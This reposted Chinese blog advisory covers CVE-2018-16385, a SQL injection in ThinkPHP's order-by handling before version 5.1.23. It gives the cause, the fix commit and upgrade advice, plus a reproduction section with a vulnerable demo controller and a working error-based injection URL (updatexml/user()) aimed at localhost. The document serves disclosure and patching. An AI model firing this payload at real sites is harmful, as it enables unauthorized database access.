ThinkPHP v5.1.22 SQL注入漏洞

转载 指尖安全  2018-09-13  阅读 33 次

image.png

漏洞描述

因是处理order by参数时,如果参数用户可控,当参数为数组key value时,未正确过滤处理数组的key值,导致漏洞的产生。

CVE编号

CVE-2018-16385

威胁等级

影响版本

ThinkPHP < 5.1.23

修复建议

对order by语句处理流程加上数组分支安全校验。

https://github.com/top-think/framework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776c

升级最新版本

漏洞复现

demo:

<?php
namespace app\index\controller;class Test{
    public function index()    {
   $data=array();
 $data['username']=array('eq','admin');
$order=input('get.order');//使用input函数进行安全过滤
$m=db('user')->where($data)->order($order)->find();
dump($m);
   }
}

提交参数:

http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

image.png

本文地址:http://www.hantao.org/aqyj/882.html
温馨提示:文章内容系作者个人观点,不代表本网站:【Hunter交流空间】故障解决|IT技巧分享|Hunter对观点赞同或支持。
版权声明:本文为转载文章,来源于网络,版权归原作者所有,欢迎分享本文,转载请保留出处!如有侵权,请联系本站进行删除!
NEXT:已经是最新一篇了

发表评论


表情